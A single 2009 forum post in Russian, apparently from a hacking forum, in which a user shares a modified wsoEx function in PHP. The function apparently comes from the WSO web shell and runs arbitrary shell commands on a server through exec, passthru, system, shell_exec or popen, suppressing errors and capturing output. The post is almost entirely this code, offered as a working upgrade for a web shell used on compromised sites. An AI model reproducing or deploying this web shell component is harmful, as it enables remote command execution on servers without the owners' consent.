Показать сообщение отдельно

  #93  
Старый 11.12.2009, 04:10
shellz[21h]
Постоянный
Регистрация: 20.12.2007
Сообщений: 334
Провел на форуме:
1934122

Репутация: 118
По умолчанию

изминить малость функцию wsoEx и все готово, больше не придется добавлять в конце 2>&1
PHP код:
<?php
//......

function wsoEx($in) {
    
$out '';
    
$in .= ' 2>&1'// - Добавляет в конец команды
    
if(function_exists('exec')) {
        @
exec($in,$out);
        
$out = @join("\n",$out);
    }elseif(
function_exists('passthru')) {
        
ob_start();
        @
passthru($in);
        
$out ob_get_clean();
    }elseif(
function_exists('system')) {
        
ob_start();
        @
system($in);
        
$out ob_get_clean();
    }elseif(
function_exists('shell_exec')) {
        
$out shell_exec($in);
    }elseif(
is_resource($f = @popen($in,"r"))) {
        
$out "";
        while(!@
feof($f))
            
$out .= fread($f,1024);
        
pclose($f);
    }
    return 
$out;
}
?>

Последний раз редактировалось shellz[21h]; 11.12.2009 в 04:17..
 
Ответить с цитированием